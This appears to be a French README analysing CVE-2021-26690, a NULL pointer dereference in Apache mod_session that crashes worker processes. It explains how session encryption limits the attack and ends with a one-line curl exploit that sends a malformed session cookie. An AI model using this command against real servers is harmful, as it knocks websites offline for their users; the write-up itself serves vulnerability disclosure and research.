Analyse de patchs pour CVE-2021-26690 - Apache mod_session

Cette vulnérabilité est un déréférencement de pointeur NULL au sein du module mod_session d'Apache. Elle provoquera un déni de service pour les processus enfants du httpd d'Apache. En utilisant une boucle répétitive, chaque travailleur Apache plantera, entraînant un déni de service pour tous les clients qui se connectent ou sont connectés au site web.

Cette vulnérabilité a été initialement découverte par @antonio-morales.

Pour les étapes complètes du processus, référez-vous au PDF dans ce dépôt.

Limitation

Si le serveur implémente l'option SessionCryptoPassphrase via mod_session_crypto, le cookie sera crypté et encodé en base64.

<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>

Dans ce cas, les paires de cookies de session ne peuvent pas être altérées, et le déni de service ne peut pas se produire tel quel.

Exploit

curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='